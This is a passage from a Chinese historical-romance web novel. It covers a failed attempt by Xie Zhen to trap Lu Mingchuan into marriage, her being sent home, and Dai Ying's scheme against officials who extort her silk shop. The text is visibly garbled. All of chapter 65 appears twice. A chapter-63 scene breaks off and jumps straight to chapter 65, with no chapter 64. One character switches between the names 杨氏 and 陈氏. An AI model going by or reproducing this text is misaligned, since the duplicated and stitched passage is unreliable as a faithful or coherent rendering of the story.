因着高兴,席间不免多喝了几杯,睡得沉了,待察觉到屋中进人时,那动静已来到隔断前。
于是霍地从床上腾起,凝目去看,待看清来人后,怒道:“谁让你进来的,滚出去!”
谢珍吓得一缩,从来见这位三爷,面上都是和气,头一回见他面露凶色,心里有些怕,不过一想自己的目的,又壮起胆子。
“陆三爷,珍儿对你……切慕已久……”
陆铭川双眼沉下,手背在身后,渐渐蓄力。
谢珍并未察觉危险,一心想着自己的心愿马上就成了。
待她嫁给陆铭川,以后谁还敢看不起她,就是陆婉儿见了她也得恭恭敬敬。
至于兄长……那日她回谢府,母亲的态度无非怕她坏了兄长的婚事。
兄长同陆婉儿的亲事已定,能有什么问题,再说,兄长的亲事重要,难道她的一辈子就不重要?
所以,她试着同莲心接近,先试探她的态度,再以利诱之,没想到她竟一口应下。
谢珍大着胆子挨近陆铭川,一张脸烧得发热。
“珍儿今日进了屋,您该知道会是什么结果……”
谢珍全然没察觉对方眼底的煞气,就在她欲高声叫唤之际,房门突然破开,一个人影奔了进来。
“珍姐儿,你怎么在这儿呢,快随我出去。”
谢珍和陆铭川看着闯入的戴缨,一时间都没反应过来。
戴缨拉着谢珍就要往外走。
谢珍心中一动,捂脸掉起眼泪,反一把拉住戴缨的手:“表姐,我不活了……陆三爷他……我……”
这断断续续的呜咽,还有欲语还休的姿态,叫人想不误会都难。
谢珍从来没有像现在这样惊喜戴缨的出现,再怎么样她也是谢家的亲戚,没有不帮的理。
正正好,有她在场做证,陆家不认也得认,只能迎她过门。
谢珍将一双泪眼看向陆铭川,再看向戴缨,满面羞愤地说道:“表姐,珍儿不活了,陆三爷他……”
话未说完,被戴缨打断:“什么陆三爷,哪有陆三爷,你魔怔了?”
谢珍眨巴着一双泪眼,愣了愣,扬起手指向对面:“那……那不是陆三爷?”
戴缨循着方向看去,张目四望,说道:“这屋里除了你和我,就没有别人,哪有陆三爷,快随我出去。”
谢珍把眼泪拭干,拿手在戴缨眼前晃了晃:“你瞎了?”
“什么跟什么,成天痴人说梦,还不快随我离开。”戴缨拉着谢珍就要走。
谢珍甩开膀子,急得磕磕巴巴说不清:“那么大……大一个人站在这里,你看不见?!”
不待她说完,“啪——”戴缨一耳刮兜了过去。
谢珍惊愕地捂住脸:“又打我?”
“把你打醒,不然被鬼缠得说胡话。”
不再给谢珍反应,风一般地拽着她出了屋室。
陆铭川看着离去的两人,背在身后的手卸下力道。
出了院子,谢珍挣开戴缨的手,气道:“你见不得我好是不是?!好你个吃里爬外的,连自家人也不帮,等着,我非要到母亲面前告你一状。”
戴缨冷笑一声:“你大可以试试,看姑母这次是向着你,还是向着我。”
谢珍便不说话了,今日之事若叫母亲知晓,必会让她吃不了兜着走,这么想着,脸上怨恨的表情一收。
“表姐说什么呢,适才我被迷住了,脑子不清醒,那屋里什么人也没有。”
说罢,转身离开了。
戴缨摇了摇头,回了自己居住的院子,一日,就这么过了,傍晚时分,一行人回了陆府。
陆府,一方居……
陆铭川将今日发生的事情告诉了陆铭章,一想到当时戴缨冲进来的样子,就想笑。
“今日若没有她,你打算如何?”陆铭章问道。
陆铭川脸上的笑意冷却下来,说道:“还能怎么办,这种女人岂能进到咱们家,自然是叫她永远开不了口。”
若不是戴缨进来得及时,这个谢珍焉有命在。
陆铭章点了点头,说道:“行了,我知道了。”
陆铭川走后,陆铭章**了一会儿,往上房走去。
“你说让谢家人接谢家姑娘回去?”陆老夫人问道。
陆铭章点头道:“是。”
“怎么好端端让谢家把人接走?”陆老夫人知道自己儿子不会无缘无故说这话,一定是发生了什么事。
陆铭章并不打算隐瞒,便把今日的事情道了出来。
“想不到,这丫头竟存了这份心。”陆老夫人眉头紧蹙,叹息一声,“若是这样,确实是留不得,这家人真是……”
“母亲这话说得有失偏颇,连带着把那丫头也牵进去了。”
陆老夫人这才反应过来,儿子说的是戴缨。
“说的是,你不说还好,这样一说,倒是可惜了,若让谢珍回去,缨丫头只怕也不能留了。”
陆铭章将眼睛往下压了压,复抬起:“母亲想留她在身边?”
“那丫头是个好的,既懂事还机灵。”陆老夫人又道,“常到我跟前凑趣,叫我怎么不喜欢
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。”
说到这里,老夫人一笑:“我还想着,日后给她指一门亲呢。”
陆铭章点了点头:“这好办,那便找个由头将她留下……”
彼边,陆铭川归了自己院落,叫了莲心上前,那莲心抱着侥幸,抵死不认,妄图蒙混过关。
陆铭川却没那个耐心,直接让人拖下去一通好打,莲心没口子地讨饶。
“奴认了,奴认了……”
“下作娼妇,竟算计到我的头上来?!”陆铭川喝骂道。
莲心当初应下帮谢珍,并非看重她的那点恩惠,而是另有计较。
她怕陆铭川再续一房高门贵女,届时像她这样的通房奴才哪有翻身的好日子,不如成全谢珍,毕竟一小官之女更好摆弄,就算日后想在她面前摆谱,也得掂量掂量。
莲心膝行到陆铭川面前,拉着他的衣摆,泣声道:“奴有错,三爷见奴跟了您一场,饶了这一回罢,再不敢了。”
陆铭川不理,朝外叫了一声:“唤人牙子来,拉出去。”
行鹿轩动静闹得大,曹老夫人赶了过来,得知事情原委后,对莲心一通恨骂。
可骂归骂,却不让发卖莲心,原因无他,眼下儿子房里除了莲心,再无他人,从前叫他续弦,他不理会,找各种理由推拒。
她还指着莲心的肚子,给院里添孙儿。
最后,在曹老夫人的转圜下,莲心得以留了下来。
……
次日,戴万如正同员外郎夫人在自家暖阁喝茶。
“听说昨儿陆家出游,你家容哥儿也去了?”员外郎夫人拈起一块水晶糕,看似随口问道。
戴万如笑道:“是呢,一直随在陆相身侧。”
员外郎夫人迎合着笑道:“如今容哥儿在集贤院编修,这可是多少文官清流向往的差事,把这事办好了,前途无量。”
戴万如心里别提多高兴,直到现在,她的虚荣心才前所未有的得到满足,就连这位上司夫人在她面前也得奉承。
不过戴万如面上还得端持着,一脸无所谓的样子。
“这也是陆相看重我家小子,也是他自己争气。”
员外郎夫人提起皮肉,笑了笑:“正是这个话呢,你看,连带着你家珍姐儿都住到了陆家,这份殊荣可是求不来的,说到底还是你这个做母亲的教导得好。”
戴万如并不否认,笑着端起茶盏,就要应景地啜一口,这时,下人急急地走了来。
“夫人,陆府来人了。”
戴万如先看了一眼员外郎夫人,笑着问道:“哦?正说着呢,做什么来?”
那下人瞥了一眼员外郎夫人,吞吞吐吐。
“有什么就说,像什么样。”戴万如正想借这个机会再显摆一番。
下人开口道:“陆府人来传话,让夫人把咱家姐儿接走。”
戴万如没理解这句话的意思:“什么叫把人接走?没说其他的?”
“小的不清楚,那人说今日就叫咱们遣人过去,还说……”
“还说什么?”戴万如追问。
“还说……让夫人接回家再教一教闺中仪范……”
第63章 上门打砸
戴万如脸上瞬间煞白,缓不过劲儿,一旁的员外郎夫人用眼梢睨着,嘴角露出轻松的、幸灾乐祸的笑来。
这笑可比刚才真心。
“这是怎么了?怎么好好的,把人接回家中,莫不是做了什么丑事?”员外郎夫人故作惊怪。
戴万如笑得勉强:“必是搞错了,下人们不会传话。”转头对下人骂道,“嚼蛆的奴根子,还不滚下去,把话打探清楚。”
小厮赶紧应声去了。
员外郎夫人看明白了,这谢家女被赶出了陆家,到底是上不得大台盘的东西。
送走员外郎夫人,戴万如派人去了陆家,谢珍回到谢家时,人还懵怔着,一张脸白得没有血色。
“到底怎么回事?!”戴万如喝问道。
谢珍被这一声吓得回过神,伏到座椅上哭了出来。
“还有脸哭,我问你话,还不快说出来,真若受了欺负,只管道出,陆家就是再显赫,也逃不脱一个理字。”
戴万如见自家女儿哭得伤心,以为她受了欺负。
谢珍哭得气不带喘,好不容易歇下一会儿,又抽泣起来。
戴万如见女儿哭得口不能言,心里着急,催促道:“快说,到底怎么回事,再不说,我遣人上陆府问个究竟。”
说罢,就要吩咐下人,被谢珍一把拦住,哭诉道:“母亲,别叫人去。”
“那你还不快说!”
谢珍不得已,只能将庄子上发生的事情说了,话还未说完呢,“啪”的一声,脸上挨了一记响亮的耳刮。
这一巴掌,比戴缨打得更重。
谢珍不可置信地看向她母亲,却见戴万如双目瞪视,咬着牙,一字一字从牙缝往外蹦,每个字被她咬成碎渣。
“想害死你兄长是不是?!”
“你不要脸,我还要脸,你父兄还要脸,谢家上上下下还要脸!”
戴万如因着出身,在京都就怕被人低看,她自己又是个极要强之人,更多的是想要证明。
做姑娘时,她曾参加过一场官宴,那一次让她大受触动,原来自己高高在上的傲态是被某些人俯瞰的。
一个轻蔑的眼神看过来,都让你觉得那是一种赏赐,那一场官宴,没有所谓的奚落,没有刻意的排挤,只有无视。
然而,正是这种无视,把她十几年来的骄傲捏变了形。
她将自己关在屋里好几日,终于看清自己要什么,她要拥有和那些官眷们一样的眼神。
轻轻地一瞥,然后不费吹灰之力地将一个人的防线击破。
结识谢山是她有意为之,比起戴万昌的慧眼识珠,她更先认定这人。
他没让她失望,虽然这个过程漫长而熬人。
然而,和她预想的不一样,她仍是被轻看的那个,同从前那场官宴不同的是。
以前她被无视,而今她们倒是愿意同她交谈,只是话中满含讥讽和嘲弄。
这是唯一的区别。
她费尽心机走到这些人的面前,同她们立在一处,得来的却是轻辱,于是心里攒下一口气,这口气一憋又是好些年。
终于,她培养出一个优秀的儿子,并同簪缨世家的千金缔结姻盟,这么些年的汲汲营营终于有了回报。
然而,就在刚才,那员外郎夫人的眼视,眼中带笑,笑得耐人寻味。
叫她如何不恼,如何不恨。
不仅如此,若因女儿的不端之举,坏了儿子的姻亲大事……想到这里,戴万如惊得直冒冷汗。
看着呜咽的女儿,气得想狠打一顿,可真让她下手,又舍不得,毕竟是自己辛苦生下来的。
这事还不能让她父兄知晓,她兄长还罢,若叫谢山知道……谢珍只怕要去半条命。
戴万如往左右看了看,这才问了一句:“大姑娘呢?”
一旁的婆子上前回道:“大姑娘没回。”
“没回?”
“是,说是府里的崇哥儿同大姑娘亲近,想再留她住些时,让夫人莫要惦记,大姑娘在陆府一切都好。”
在谢珍的呜咽声中,戴万如脸上的表情不可谓不精彩,擦了粉脂的腮颊颤着。
“母亲,一定是她,一定是她告诉了老夫人,女儿这才被驱离陆府,都是戴缨!是她害我!”谢珍哭喊着,没了半点斯文样。
戴万如看着自家女儿失态的样子,当下喝了一声。
“还不带她下去!没有我的同意,不得踏出院门一步。”
谢珍哪敢说一个不字,连头都抬不起来,拿巾帕捂脸跑开了。
在戴万如看来,谢珍做的事情丢丑,她也气恨,可若有戴缨从中掺和,那她是不会放过她的。
于是在心头又给她狠狠记了一笔。
夜间,谢山下了值,回到府中,问戴万如:“我听人说珍儿回来了?”
戴万如替他宽去公服,看似随意地说道:“是,我叫人接她回的。”
“怎么回事?”谢山眉头一凝。
戴万如背过身去拿常衫,嘴里说着:“还能是什么,前两日染了风寒,不见好,总不能让她带一身病气在别人家,先接回来将养一段时日,等好了再送过去。”
谢山听说,没去怀疑。
陆府。
这日阳光暄暖,戴缨欲扶老夫人去园子转转,丫鬟们打起门帘,刚走下台阶,陆婉儿带着丫鬟走了来,因走得急,嘴里呼出白雾,行到跟前朝老夫人见了礼。
然后转眼看向戴缨,似笑非笑地同戴缨厮见过。
陆老夫人往陆婉儿面上看了一眼,开口道:“缨丫头,你先回。”
戴缨应声退下。
人一走,陆婉儿便迫不及待开口:“祖母,为何让珍儿回谢家?”
陆老夫人脸上冷着:“你这孩子,她又不是咱家的人,回谢家再正常不过,谢家夫人想她,总不好叫人家母女长久分别。”
“为何戴缨仍在咱们府上,算起来她也是谢家人,怎么只珍姐儿回了,她不回?”陆婉儿脱口而出。
“缨丫头是我留的,我连这点主也做不得?”
陆老夫人声音微沉,陆婉儿不敢再问,不过她本也无所谓,只是觉着要走也该是戴氏女走。
……
城南的绸缎庄已经无须戴缨太费心神,而城东的绸缎庄陈左带着一伙人正在修整,且有秦三料理。
“阿左哥,一会儿下了工,咱们再去喝几杯?”祥子爬在梯架上,手里拿着木槌敲打着。
陈左笑了笑:“不了,你嫂子今儿精神好,她要亲自下厨烧两道菜。”
其他几人笑出声:“阿左,等鸢娘身子好了,咱们到你家蹭饭,尝尝她的手艺。”
陈左心
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情甚好道:“一定,一定。”
正说着,店里来了四五名差役,这些人陈左认识,虽着差服,却是巡事所聘请的白役,通俗讲就是“闲杂”。
秦三见了来人,笑脸相迎:“几位差爷,可是有什么事?”
当头之人,方正脸,乌紫唇色,腰间挎刀,将秦三睨了一眼,问道:“你是这里的管事?”
秦三点头道:“是,我是这家绸缎铺的管事,敢问官爷贵姓?”
这时旁边一人插话道:“咱们是巡事所的人,这位姓周,你唤周头儿。”
这些个游闲虽比不上正式差吏,却也自成一派,推得有头目,周虎因身材高壮,且行事跋扈狠辣,这些人便以他为首。
“铺子还未开张,不知几位大人可是有什么事?”
做生意的,不轻易得罪府衙之人,哪怕这些人只是闲杂,秦三说话仍客客气气。
“要的就是你未开张。”
周虎说着带人在店中围看,行到一处空阔的隔断处,拿下巴指了指,问道:“这处是做什么的?”
秦三答道:“这里预留出来展布样,供客人挑选。”
周虎拿刀柄敲了敲柜壁:“拆了。”
“拆了?!”秦三惊问出声。
“怎的?我的话不管用?”
周虎带着威胁的语调,仿佛只要秦三道个“不”字,就会有很严重的后果。
秦三自然满口应下,不过仍是问了一句:“周官爷,这处有何不妥?”
周虎嗤笑道:“把布样放在这里,万一起了火,此过道岂不危险?”
秦三没再说什么。
过道虽说不能堆积易燃物,可也有标准,只要达到一定间距,是允许堆放相应物什的。
可这标准说得含糊,是多是少,是远是近,由官府中人说了算。
正在秦三思忖间,周虎又拿刀柄在另一处“笃,笃”敲了几下,随之而来的就两个字。
“拆了!”
秦三再问,无一不是堆放易燃料,不符合规定。
他们是绸缎庄,绸缎庄里放的可不就是易燃物什,照这么个法子查验,整家店只怕都得拆。
秦三当下不作声,任那些人说什么便是什么。
待周虎一行人离开后,秦三看着被周虎标记过的柜子,看向陈左。
“陈兄弟,拆了罢。”
陈左放下手里的工具,拍了拍衣衫上的灰,说道:“秦管事,这人叫周虎,有名的混子,理他们作甚,这些人的目的就是要钱。”
“管事的不必忧心,这是他们惯常使的手段,给些钱就了事了,这种情况咱们见得太多。”祥子踩着长梯,扭头望向下面的秦三。
秦三想了想,觉得有些道理,于是让陈左等人不停工,继续修整,既然能用钱解决,那么就不是什么大事,于是也没往戴缨跟前报知。
心道,过个三五日周虎等人再次上门,舍些钱财也就是了。
谁知不到三五日,次日一早,周虎等人再次登门,一进店中,先是看了一眼,喝道:“人呢?!”
秦三正在后院用早饭,听到前面叫喊,带了两名伙计走到前堂,见是周虎等人,正要上前,肚子却被狠踹一脚,整个人仰倒在地。
“你拿爷的话当屁放呢,叫你拆为何不拆?!”周虎喝骂道。
第65章 化不开的酸意
棚架中贱卖的那些衣物同二楼的衣物没法比。
杨氏在光泽柔滑的皮**上抚过,触之微凉,很快生暖,整个人想陷进去。
若有这么一件斗篷,无论外面如何天寒地冻,也是不怕了,杨氏不是没见过好东西的人。
“只怕不便宜呢。”
戴缨笑着引杨氏坐下,让归雁上了热茶。
“自然比下面的要贵些,不过……夫人若是喜欢,可以少些。”戴缨说着,往屋子四周环顾,叹了一息,“反正这铺子也要关了,如今只想快些把手里的货物出掉,赚不赚钱都不重要。”
杨氏听说后,问道:“有句话,不知当问不当问,又怕冒犯到女东家。”
“夫人但讲无妨。”
“你这铺子生意不错,名号也响亮,怎的突然要闭店?”
长案的香炉升着细细的紫烟,笔直向上,散于空中,屋外空气冷冽,屋里却很温暖。
戴缨从袖中抽出帕子,拭着眼角,轻叹一声。
“夫人不知,妾身本是平谷人士,家中世代行商,因得罪了当地豪强,不得不背井离乡带着家中所有积蓄上京,这间店呐……压上了妾身所有的积蓄……”
“上京前想前,皇城脚下,自是风清气正,谁承想……”说到这里戴缨哽咽难言。
“莫急,莫急,慢慢说来。”陈氏宽慰。
“生意原本做得好好的,前些时店里来了一伙人,在铺子里又打又砸,伙计们上前阻拦,受了伤不说,还被下了牢狱,这生意能不能做下去倒还在其次,眼下,只想快些把几个伙计捞出来。”
“都是什么人,怎会无缘无故进你店中打砸,难道就没有王法?”
陈氏是个谨慎之人,这位女东家的话,她并不完全相信。
“妾身如何不是这样说的,夫人知道那些人怎么说?”
“如何说?”
“那些人张口便是,他们就是王法。”
戴缨一语毕,陈氏又问:“可有查过是什么人,是不是哪里得罪了他们?”
“自然调查了,那些人是巡事所的白役,其中一人叫周虎,算是那些闲杂的头,这些人同瑞锦轩的东家往来甚密。”
华四锦闭不闭店,陈氏并不关心,见这位女东家待她热络,也就随口一问,然而……
“瑞锦轩?”陈氏的语调有些怪。
“是呢,正是瑞锦轩,每日盈利颇丰,可谓是日进金斗,也不知妾身这么个小店怎么就容不下。”
戴缨又道,“一个白役倒没什么,只是妾身听说……瑞锦轩的东家是巡事所主事的亲戚,有这样一层关系,妾身哪里能得罪呢。”
戴缨仿佛没察觉到陈氏面上细微的变化,自顾自说道:“看我,说这些做什么,都是些扯皮的乱事,夫人还是看看这些狐裘斗篷,妾身不赚夫人的,只收个本钱。”
陈氏敛住心神,再次将目光放到一旁的斗篷上,只是这会儿的心境同刚才全不一样。
“夫人若是喜欢,就这个数罢。”戴缨竖起食指。
这纤纤的一根指,不是十两,而是一百两,一百两是什么概念,一名低阶官员的月俸是十贯,而普通匠人的日收才一百来文。
也就是说,一件名贵裘衣可抵中产家庭数年开销。
陈氏是懂行的,心里五味杂陈,这份难言不仅仅因为皮草高昂的价格,还有另一层原因。
戴缨似是看出陈氏的局促,转而微笑道:“夫人要不看看这件,这件料子虽薄了些,也是好货,这件夫人若要,妾身仍按最低价给。”
陈氏看向另一件深灰的银鼠披肩,虽说**质不错,比适才那件狐裘次了许多。
“这件价格几许?”
“这件只需八十两。”戴缨语调轻松,“夫人皮肤白,人也贵气,这件颜色更合适,样式也……”
不待戴缨说完,陈氏起身,笑得有些勉强:“突然想起家中有事,急着回去料理。”
“夫人下次再来,妾身拿更好的货请夫人上眼。”戴缨说道。
陈氏脸上的笑快保持不住,应了几声好,带着丫鬟匆匆离开了。
待人走后,归雁朝楼下的棚架看了一眼:“这回又搭进去不少。”
“娘子我几时做过赔本买卖,薄利多销而已。”
归雁一想,这倒是,转而又问:“怎么不干脆把这皮草送她,岂不更直接。”
戴缨走到窗边,推开窗,往下望着陈氏离开的身影。
“直接送她,未免太索然无味,让她带着不忿的遗憾走……更见妙处……”
归雁不明:“怎见得更好?”
戴缨笑了笑,问了一句不相关的话:“适才你嗅到什么味没有?”
归雁摇了摇头:“什么味?”
“酸……化不开的酸意……”
……
陈氏出了一趟街,什么也没买,冷着脸走进自家宅院,到了傍晚时分,一个四人抬的轿子落于阔大的巷口前。
轿帘打起,从里下来一个四十多岁留须的男子,男子走进白日陈氏进出的那扇院门。
“老爷。”小厮迎了上来。
男人“嗯”了一声,点头道:“夫人呢?”
“夫人白日出去一趟,回来说身上不好,躺在屋里。”
“请了大夫没有?”
“夫人不叫请大夫。”
男子眉头微凝,抬脚往一个方向走去,进到一方小院,见屋门闭着,里面没有灯火。
叩响房门,不见回应,于是径直推门而入,屋里光线昏暗,却也看得清楚。
床上侧卧着一人,正是陈氏。
“下人说你身上不好,怎的不叫大夫来看看?”男人问道。
陈氏从床上撑起身,看着男人冷笑。
“笑什么?”
“妾身同老爷做了这许多年的夫妻,竟不知老爷还有一门开绸缎庄的亲戚哩。”
原来这男人正是戴缨口中的巡事所主事,姓郑,人都叫他一声郑主事。
“瑞锦轩是幼娘兄弟,林韦开的,这事你又不是不知道。”
郑主事口中的幼娘是他后院的妾室。
陈氏霍地站起,逼近一步,质问道:“她兄弟?她兄弟是你亲戚?是你哪门子的亲戚?她一奴才秧子,你上杆子认亲?”
“说的什么话,谁上杆子认亲。”郑主事说道。
“你不认亲,你不认亲……别
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人在外面打着你的名号耀武扬威,为非作歹哩!”陈氏气得坐到桌边,胸脯子不停地起伏。
郑主事摆了摆手:“你看你这人,总是有这一层牵带在,平日让手下多照看两分,到你嘴里就成了为非作歹。”
陈氏转头看向自家男人,睁着一双眼,拿手在空中点了点,气恨道:“你知不知道,小**的兄弟打着你的名号做了什么事。”
“他收买你手下一个叫周虎的白役,毫无缘由地到对家的铺子一通打砸,抓了对方的伙计,下到牢里,如今还未提审,你就这么撂手不管,待那**的兄弟什么时候惹了大祸,看你到哪里哭……”
说到这里,陈氏似笑非笑地将郑主事看着,似有后话,却不道尽。
巡事所常和京都各家铺子打交道,管着街市治安、占道、火患等。
林韦在外打他名号的事情,他也有耳闻,让幼娘在林韦跟前提点过,不要打他的名号。
做官的人,最在意的就是官声。
他那小妾应是应下了,至于说没说,又或是告知了她兄弟,但林韦听没听,他没怎么去理会。
这会儿听自家夫人如此一说,才知晓闹出这事,不过陈氏的反应有些过激。
尤其是她脸上那一抹古怪的笑。
“你这是什么表情?”郑主事问道。
陈氏哼笑一声:“我今儿去了华四锦,把别人逼得要闭店,这林韦可是仗着老爷好大的官威,老爷别被他拖累才好……”
郑主事跟着坐下,说道:“这又不是什么大事,京都那么些店铺,一个华四锦当得了什么,既然周虎查她的店,肯定是有不合规的地方,上哪儿都说得过去。”
这话没错,按大衍的章律,任何铺面或多或少都有问题,还怕挑不出错儿?
“所以老爷的意思是,这事就这么放任不管了?”
“先关那几个伙计一段时间,敢同差役动手,肯定要吃教训,这事不大,过段时间放出来便是。”
陈氏又问:“那华四锦呢?让它闭店?”
“关就关了,偌大的京都城,关一个华四锦算什么。”郑主事看向自己妻子,“你怎么对这家店如此上心。”
话音刚落,门外响起人声:“老爷,姨娘那边问你要不要过去用饭?”
郑主事瞥了一眼干干净净的桌面,撩衣起身,准备去小妾那边用饭,还未走上两步,陈氏在身后笑了。
这一笑,反把郑主事弄得莫名。
“你今儿怎么回事?”
陈氏一条胳膊搁在桌面,侧着身,斜睨着:“你还去她那边?”
“我下值回来总得用饭,这屋里连口热乎饭也没有,还不许我去那边?”
“是了,用饭是大事,今儿老爷在她屋里用饭,再歇一夜,劳您明儿起个早,给妾身一封休书罢。”
陈氏起身,走到妆奁边,点燃了蜡烛,屋里亮了起来,也映亮了陈氏那张不算年轻的脸。
“又胡说什么!”郑掌事语气有了不快。
“老爷以为这话是玩笑,妾身却是认真,不想被那对奴才秧子给连累,不过老爷是不怕的,大不了就是丢掉官帽……”
第65章 化不开的酸意
棚架中贱卖的那些衣物同二楼的衣物没法比。
杨氏在光泽柔滑的皮**上抚过,触之微凉,很快生暖,整个人想陷进去。
若有这么一件斗篷,无论外面如何天寒地冻,也是不怕了,杨氏不是没见过好东西的人。
“只怕不便宜呢。”
戴缨笑着引杨氏坐下,让归雁上了热茶。
“自然比下面的要贵些,不过……夫人若是喜欢,可以少些。”戴缨说着,往屋子四周环顾,叹了一息,“反正这铺子也要关了,如今只想快些把手里的货物出掉,赚不赚钱都不重要。”
杨氏听说后,问道:“有句话,不知当问不当问,又怕冒犯到女东家。”
“夫人但讲无妨。”
“你这铺子生意不错,名号也响亮,怎的突然要闭店?”
长案的香炉升着细细的紫烟,笔直向上,散于空中,屋外空气冷冽,屋里却很温暖。
戴缨从袖中抽出帕子,拭着眼角,轻叹一声。
“夫人不知,妾身本是平谷人士,家中世代行商,因得罪了当地豪强,不得不背井离乡带着家中所有积蓄上京,这间店呐……压上了妾身所有的积蓄……”
“上京前想前,皇城脚下,自是风清气正,谁承想……”说到这里戴缨哽咽难言。
“莫急,莫急,慢慢说来。”陈氏宽慰。
“生意原本做得好好的,前些时店里来了一伙人,在铺子里又打又砸,伙计们上前阻拦,受了伤不说,还被下了牢狱,这生意能不能做下去倒还在其次,眼下,只想快些把几个伙计捞出来。”
“都是什么人,怎会无缘无故进你店中打砸,难道就没有王法?”
陈氏是个谨慎之人,这位女东家的话,她并不完全相信。
“妾身如何不是这样说的,夫人知道那些人怎么说?”
“如何说?”
“那些人张口便是,他们就是王法。”
戴缨一语毕,陈氏又问:“可有查过是什么人,是不是哪里得罪了他们?”
“自然调查了,那些人是巡事所的白役,其中一人叫周虎,算是那些闲杂的头,这些人同瑞锦轩的东家往来甚密。”
华四锦闭不闭店,陈氏并不关心,见这位女东家待她热络,也就随口一问,然而……
“瑞锦轩?”陈氏的语调有些怪。
“是呢,正是瑞锦轩,每日盈利颇丰,可谓是日进金斗,也不知妾身这么个小店怎么就容不下。”
戴缨又道,“一个白役倒没什么,只是妾身听说……瑞锦轩的东家是巡事所主事的亲戚,有这样一层关系,妾身哪里能得罪呢。”
戴缨仿佛没察觉到陈氏面上细微的变化,自顾自说道:“看我,说这些做什么,都是些扯皮的乱事,夫人还是看看这些狐裘斗篷,妾身不赚夫人的,只收个本钱。”
陈氏敛住心神,再次将目光放到一旁的斗篷上,只是这会儿的心境同刚才全不一样。
“夫人若是喜欢,就这个数罢。”戴缨竖起食指。
这纤纤的一根指,不是十两,而是一百两,一百两是什么概念,一名低阶官员的月俸是十贯,而普通匠人的日收才一百来文。
也就是说,一件名贵裘衣可抵中产家庭数年开销。
陈氏是懂行的,心里五味杂陈,这份难言不仅仅因为皮草高昂的价格,还有另一层原因。
戴缨似是看出陈氏的局促,转而微笑道:“夫人要不看看这件,这件料子虽薄了些,也是好货,这件夫人若要,妾身仍按最低价给。”
陈氏看向另一件深灰的银鼠披肩,虽说**质不错,比适才那件狐裘次了许多。
“这件价格几许?”
“这件只需八十两。”戴缨语调轻松,“夫人皮肤白,人也贵气,这件颜色更合适,样式也……”
不待戴缨说完,陈氏起身,笑得有些勉强:“突然想起家中有事,急着回去料理。”
“夫人下次再来,妾身拿更好的货请夫人上眼。”戴缨说道。
陈氏脸上的笑快保持不住,应了几声好,带着丫鬟匆匆离开了。
待人走后,归雁朝楼下的棚架看了一眼:“这回又搭进去不少。”
“娘子我几时做过赔本买卖,薄利多销而已。”
归雁一想,这倒是,转而又问:“怎么不干脆把这皮草送她,岂不更直接。”
戴缨走到窗边,推开窗,往下望着陈氏离开的身影。
“直接送她,未免太索然无味,让她带着不忿的遗憾走……更见妙处……”
归雁不明:“怎见得更好?”
戴缨笑了笑,问了一句不相关的话:“适才你嗅到什么味没有?”
归雁摇了摇头:“什么味?”
“酸……化不开的酸意……”
……
陈氏出了一趟街,什么也没买,冷着脸走进自家宅院,到了傍晚时分,一个四人抬的轿子落于阔大的巷口前。
轿帘打起,从里下来一个四十多岁留须的男子,男子走进白日陈氏进出的那扇院门。
“老爷。”小厮迎了上来。
男人“嗯”了一声,点头道:“夫人呢?”
“夫人白日出去一趟,回来说身上不好,躺在屋里。”
“请了大夫没有?”
“夫人不叫请大夫。”
男子眉头微凝,抬脚往一个方向走去,进到一方小院,见屋门闭着,里面没有灯火。
叩响房门,不见回应,于是径直推门而入,屋里光线昏暗,却也看得清楚。
床上侧卧着一人,正是陈氏。
“下人说你身上不好,怎的不叫大夫来看看?”男人问道。
陈氏从床上撑起身,看着男人冷笑。
“笑什么?”
“妾身同老爷做了这许多年的夫妻,竟不知老爷还有一门开绸缎庄的亲戚哩。”
原来这男人正是戴缨口中的巡事所主事,姓郑,人都叫他一声郑主事。
“瑞锦轩是幼娘兄弟,林韦开的,这事你又不是不知道。”
郑主事口中的幼娘是他后院的妾室。
陈氏霍地站起,逼近一步,质问道:“她兄弟?她兄弟是你亲戚?是你哪门子的亲戚?她一奴才秧子,你上杆子认亲?”
“说的什么话,谁上杆子认亲。”郑主事说道。
“你不认亲,你不认亲……别
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人在外面打着你的名号耀武扬威,为非作歹哩!”陈氏气得坐到桌边,胸脯子不停地起伏。
郑主事摆了摆手:“你看你这人,总是有这一层牵带在,平日让手下多照看两分,到你嘴里就成了为非作歹。”
陈氏转头看向自家男人,睁着一双眼,拿手在空中点了点,气恨道:“你知不知道,小**的兄弟打着你的名号做了什么事。”
“他收买你手下一个叫周虎的白役,毫无缘由地到对家的铺子一通打砸,抓了对方的伙计,下到牢里,如今还未提审,你就这么撂手不管,待那**的兄弟什么时候惹了大祸,看你到哪里哭……”
说到这里,陈氏似笑非笑地将郑主事看着,似有后话,却不道尽。
巡事所常和京都各家铺子打交道,管着街市治安、占道、火患等。
林韦在外打他名号的事情,他也有耳闻,让幼娘在林韦跟前提点过,不要打他的名号。
做官的人,最在意的就是官声。
他那小妾应是应下了,至于说没说,又或是告知了她兄弟,但林韦听没听,他没怎么去理会。
这会儿听自家夫人如此一说,才知晓闹出这事,不过陈氏的反应有些过激。
尤其是她脸上那一抹古怪的笑。
“你这是什么表情?”郑主事问道。
陈氏哼笑一声:“我今儿去了华四锦,把别人逼得要闭店,这林韦可是仗着老爷好大的官威,老爷别被他拖累才好……”
郑主事跟着坐下,说道:“这又不是什么大事,京都那么些店铺,一个华四锦当得了什么,既然周虎查她的店,肯定是有不合规的地方,上哪儿都说得过去。”
这话没错,按大衍的章律,任何铺面或多或少都有问题,还怕挑不出错儿?
“所以老爷的意思是,这事就这么放任不管了?”
“先关那几个伙计一段时间,敢同差役动手,肯定要吃教训,这事不大,过段时间放出来便是。”
陈氏又问:“那华四锦呢?让它闭店?”
“关就关了,偌大的京都城,关一个华四锦算什么。”郑主事看向自己妻子,“你怎么对这家店如此上心。”
话音刚落,门外响起人声:“老爷,姨娘那边问你要不要过去用饭?”
郑主事瞥了一眼干干净净的桌面,撩衣起身,准备去小妾那边用饭,还未走上两步,陈氏在身后笑了。
这一笑,反把郑主事弄得莫名。
“你今儿怎么回事?”
陈氏一条胳膊搁在桌面,侧着身,斜睨着:“你还去她那边?”
“我下值回来总得用饭,这屋里连口热乎饭也没有,还不许我去那边?”
“是了,用饭是大事,今儿老爷在她屋里用饭,再歇一夜,劳您明儿起个早,给妾身一封休书罢。”
陈氏起身,走到妆奁边,点燃了蜡烛,屋里亮了起来,也映亮了陈氏那张不算年轻的脸。
“又胡说什么!”郑掌事语气有了不快。
“老爷以为这话是玩笑,妾身却是认真,不想被那对奴才秧子给连累,不过老爷是不怕的,大不了就是丢掉官帽……”
第66章 娶她为妻
陈氏往绸缎庄走了一趟。
那些上等的狐裘斗篷和银鼠披肩撞她的心坎上。
